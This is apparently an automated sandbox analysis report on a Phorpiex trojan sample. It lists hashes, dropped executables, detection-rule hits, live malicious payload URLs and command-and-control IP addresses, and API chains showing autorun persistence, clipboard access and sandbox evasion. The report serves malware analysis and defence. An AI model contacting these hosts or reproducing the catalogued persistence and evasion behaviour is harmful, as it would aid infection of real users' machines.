Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe
Analysis ID:	1438295
MD5:	0a547347b0b9af0290b263dfa8d71ebe
SHA1:	5ff176bfe5e0255a68c8e3d132afbff795a1fc1d
SHA256:	b00aa26d9d7889613c7552ce6e17b0264788e24c6166edcf68c47f209ca767f8
Tags:	exePhorpiex
Infos:

Detection

Phorpiex

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Phorpiex

Changes security center settings (notifications, updates, antivirus, firewall)

Changes the view of files in windows explorer (hidden files and folders)

Contains functionality to check if Internet connection is working

Contains functionality to detect sleep reduction / modifications

Contains functionality to determine the online IP of the system

Drops PE files to the user root directory

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Abnormal high CPU Usage

Connects to several IPs in different countries

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops PE files to the windows directory (C:\Windows)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found large amount of non-executed APIs

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe (PID: 6832 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe" MD5: 0A547347B0B9AF0290B263DFA8D71EBE)

sysbrapsvc.exe (PID: 5588 cmdline: C:\Windows\sysbrapsvc.exe MD5: 0A547347B0B9AF0290B263DFA8D71EBE)

3193211493.exe (PID: 3640 cmdline: C:\Users\user\AppData\Local\Temp\3193211493.exe MD5: 0A547347B0B9AF0290B263DFA8D71EBE)

1146722911.exe (PID: 2060 cmdline: C:\Users\user\AppData\Local\Temp\1146722911.exe MD5: D085F41FE497A63DC2A4882B485A2CAF)

2303012543.exe (PID: 3324 cmdline: C:\Users\user\AppData\Local\Temp\2303012543.exe MD5: 9B8A3FB66B93C24C52E9C68633B00F37)

2711236308.exe (PID: 4936 cmdline: C:\Users\user\AppData\Local\Temp\2711236308.exe MD5: 9B8A3FB66B93C24C52E9C68633B00F37)

1245832676.exe (PID: 1464 cmdline: C:\Users\user\AppData\Local\Temp\1245832676.exe MD5: 9B8A3FB66B93C24C52E9C68633B00F37)

2006625995.exe (PID: 3628 cmdline: C:\Users\user\AppData\Local\Temp\2006625995.exe MD5: 802C60DB52BD6C4DB699A74F63A00D8D)

330125677.exe (PID: 2068 cmdline: C:\Users\user\AppData\Local\Temp\330125677.exe MD5: 11D2F27FB4F0C424AB696573E79DB18C)

300129380.exe (PID: 4820 cmdline: C:\Users\user\AppData\Local\Temp\300129380.exe MD5: CAFD277C4132F5D0F202E7EA07A27D5C)

sysbrapsvc.exe (PID: 768 cmdline: "C:\Windows\sysbrapsvc.exe" MD5: 0A547347B0B9AF0290B263DFA8D71EBE)

winploravr.exe (PID: 3020 cmdline: "C:\Users\user\winploravr.exe" MD5: D085F41FE497A63DC2A4882B485A2CAF)

winploravr.exe (PID: 6368 cmdline: "C:\Windows\winploravr.exe" MD5: D085F41FE497A63DC2A4882B485A2CAF)

winploravr.exe (PID: 2796 cmdline: "C:\Users\user\winploravr.exe" MD5: D085F41FE497A63DC2A4882B485A2CAF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\sysbrapsvc.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
C:\Users\user\AppData\Local\Temp\3193211493.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000000.1395571963.0000000000410000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000005.00000000.1558944525.0000000000410000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000000.1416106928.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000004.00000000.1544428131.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000003.1665949097.0000000004781000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000003.1416145697.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe PID: 6832	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysbrapsvc.exe PID: 5588	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysbrapsvc.exe PID: 768	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: 3193211493.exe PID: 3640	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
5.0.3193211493.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
2.2.sysbrapsvc.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
2.0.sysbrapsvc.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
0.2.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
5.2.3193211493.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
4.2.sysbrapsvc.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
0.0.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
4.0.sysbrapsvc.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 3 entries

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\winploravr.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\1146722911.exe, ProcessId: 2060, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Service

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 67.195.228.94, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\2006625995.exe, Initiated: true, ProcessId: 3628, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49720

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\sysbrapsvc.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, ProcessId: 6832, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings

Snort Signatures

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 100.82.121.252

Timestamp:	05/08/24-15:22:40.436270
SID:	2044077
Source Port:	53100
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) - Source IP: 185.215.113.66 - Destination IP: 192.168.2.8

Timestamp:	05/08/24-15:22:45.471815
SID:	2837677
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) - Source IP: 185.215.113.66 - Destination IP: 192.168.2.8

Timestamp:	05/08/24-15:22:46.732432
SID:	2837677
Source Port:	80
Destination Port:	49715
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) - Source IP: 185.215.113.66 - Destination IP: 192.168.2.8

Timestamp:	05/08/24-15:22:49.024024
SID:	2837677
Source Port:	80
Destination Port:	49717
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) - Source IP: 185.215.113.66 - Destination IP: 192.168.2.8

Timestamp:	05/08/24-15:22:48.428846
SID:	2837677
Source Port:	80
Destination Port:	49716
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 189.222.182.86

Timestamp:	05/08/24-15:22:30.416735
SID:	2044077
Source Port:	53100
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 2.133.220.58

Timestamp:	05/08/24-15:22:35.420978
SID:	2044077
Source Port:	53100
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC - Source IP: 192.168.2.8 - Destination IP: 10.102.10.21

Timestamp:	05/08/24-15:22:25.401623
SID:	2044077
Source Port:	53100
Destination Port:	40500
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://twizt.net/ALLSTATAo	Avira URL Cloud: Label: phishing
Source: http://185.215.113.66/5P	Avira URL Cloud: Label: malware
Source: http://twizt.net/	Avira URL Cloud: Label: phishing
Source: http://twizt.net/ALLSTATAopen%temp%%s	Avira URL Cloud: Label: phishing
Source: http://185.215.113.66/2H	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/2O	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/6	Avira URL Cloud: Label: malware
Source: http://twizt.net/ALLSTATAnt	Avira URL Cloud: Label: phishing
Source: http://185.215.113.66/3T	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/1A	Avira URL Cloud: Label: malware
Source: http://185.215.113.66/der	Avira URL Cloud: Label: malware
Source: http://193.233.132.177/_3	Avira URL Cloud: Label: malware
Source: http://twizt.net/ALLSTATAWaIG2	Avira URL Cloud: Label: phishing
Source: http://185.215.113.66/3KKC:	Avira URL Cloud: Label: malware
Source: http://twizt.net/ALLSTATA	Avira URL Cloud: Label: phishing
Source: http://twizt.net/ALLSTATA7a	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Windows\sysbrapsvc.exe	Avira: detection malicious, Label: HEUR/AGEN.1360619
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Avira: detection malicious, Label: HEUR/AGEN.1360619

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\1245832676.exe	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\2711236308.exe	ReversingLabs: Detection: 29%
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	ReversingLabs: Detection: 78%
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\winploravr.exe	ReversingLabs: Detection: 95%
Source: C:\Windows\sysbrapsvc.exe	ReversingLabs: Detection: 78%
Source: C:\Windows\winploravr.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

ReversingLabs: Detection: 78%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Joe Sandbox ML: detected
Source: C:\Users\user\winploravr.exe	Joe Sandbox ML: detected
Source: C:\Windows\sysbrapsvc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\winploravr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040C330 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	0_2_0040C330
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040C330 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	2_2_0040C330
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040C330 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	4_2_0040C330
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040C330 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	5_2_0040C330
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB1000 CryptAcquireContextW,	7_2_00DB1000
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB1100 CryptImportKey,CreateFileW,GetFileSize,CreateFileMappingA,MapViewOfFile,CryptCreateHash,GetProcessHeap,RtlAllocateHeap,CryptHashData,CryptVerifySignatureA,memcpy,GetProcessHeap,HeapFree,UnmapViewOfFile,FindCloseChangeNotification,SetFilePointer,SetEndOfFile,CloseHandle,CryptDestroyKey,	7_2_00DB1100
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB1020 memcpy,memcpy,CryptImportKey,CryptEncrypt,CryptDestroyKey,	7_2_00DB1020
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A1020 memcpy,memcpy,CryptImportKey,CryptEncrypt,CryptDestroyKey,	9_2_002A1020
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A1000 CryptAcquireContextW,	9_2_002A1000
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A1100 CryptImportKey,CreateFileW,GetFileSize,CreateFileMappingA,MapViewOfFile,CryptCreateHash,GetProcessHeap,HeapAlloc,CryptHashData,CryptVerifySignatureA,memcpy,GetProcessHeap,HeapFree,UnmapViewOfFile,CloseHandle,SetFilePointer,SetEndOfFile,CloseHandle,CryptDestroyKey,	9_2_002A1100
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F1000 CryptAcquireContextW,	14_2_000F1000
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F1100 CryptImportKey,CreateFileW,GetFileSize,CreateFileMappingA,MapViewOfFile,CryptCreateHash,GetProcessHeap,HeapAlloc,CryptHashData,CryptVerifySignatureA,memcpy,GetProcessHeap,HeapFree,UnmapViewOfFile,CloseHandle,SetFilePointer,SetEndOfFile,CloseHandle,CryptDestroyKey,	14_2_000F1100
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F1020 memcpy,memcpy,CryptImportKey,CryptEncrypt,CryptDestroyKey,	14_2_000F1020

Phishing

Yara detected Phorpiex

Source: Yara match	File source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, type: SAMPLE
Source: Yara match	File source: 5.0.3193211493.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.3193211493.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1395571963.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1558944525.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1416106928.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1544428131.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1665949097.0000000004781000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1416145697.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysbrapsvc.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysbrapsvc.exe PID: 768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3193211493.exe PID: 3640, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\sysbrapsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3193211493.exe, type: DROPPED

Source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00406650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406510
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_00406650
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00406510
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_00406650
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00406510
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	5_2_00406650
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00406510

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:53100 -> 10.102.10.21:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:53100 -> 189.222.182.86:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:53100 -> 2.133.220.58:40500
Source: Traffic	Snort IDS: 2044077 ET TROJAN Win32/Phorpiex UDP Peer-to-Peer CnC 192.168.2.8:53100 -> 100.82.121.252:40500
Source: Traffic	Snort IDS: 2837677 ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) 185.215.113.66:80 -> 192.168.2.8:49713
Source: Traffic	Snort IDS: 2837677 ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) 185.215.113.66:80 -> 192.168.2.8:49715
Source: Traffic	Snort IDS: 2837677 ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) 185.215.113.66:80 -> 192.168.2.8:49716
Source: Traffic	Snort IDS: 2837677 ETPRO TROJAN Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature) 185.215.113.66:80 -> 192.168.2.8:49717

Contains functionality to check if Internet connection is working

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040AF30 htons,socket,connect,getsockname, www.update.microsoft.com	0_2_0040AF30
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040AF30 htons,socket,connect,getsockname, www.update.microsoft.com	2_2_0040AF30
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040AF30 htons,socket,connect,getsockname, www.update.microsoft.com	4_2_0040AF30
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040AF30 htons,socket,connect,getsockname, www.update.microsoft.com	5_2_0040AF30

Contains functionality to determine the online IP of the system

Source: C:\Users\user\AppData\Local\Temp\2006625995.exe

Code function: 10_2_00D717D0 InternetOpenA,InternetOpenUrlA,InternetReadFile,wsprintfA,wsprintfA,InternetCloseHandle,wsprintfA,InternetCloseHandle, http://icanhazip.com/

10_2_00D717D0

Source: unknown

Network traffic detected: IP country count 18

Source: global traffic	TCP traffic: 192.168.2.8:49709 -> 37.151.73.50:40500
Source: global traffic	TCP traffic: 192.168.2.8:49714 -> 93.117.37.145:40500
Source: global traffic	TCP traffic: 192.168.2.8:49725 -> 212.154.184.158:40500
Source: global traffic	TCP traffic: 192.168.2.8:49736 -> 82.194.11.2:40500
Source: global traffic	TCP traffic: 192.168.2.8:49746 -> 77.240.41.3:40500
Source: global traffic	TCP traffic: 192.168.2.8:49773 -> 201.171.26.123:40500
Source: global traffic	TCP traffic: 192.168.2.8:49783 -> 111.9.3.39:40500
Source: global traffic	TCP traffic: 192.168.2.8:49798 -> 88.204.241.110:40500
Source: global traffic	TCP traffic: 192.168.2.8:49810 -> 187.250.131.80:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 189.222.182.86:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 2.133.220.58:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 100.82.121.252:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 92.124.152.236:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 93.123.145.179:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 89.236.218.241:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 89.218.238.106:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 85.204.86.26:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 89.236.219.106:40500
Source: global traffic	UDP traffic: 192.168.2.8:53100 -> 37.120.247.6:40500
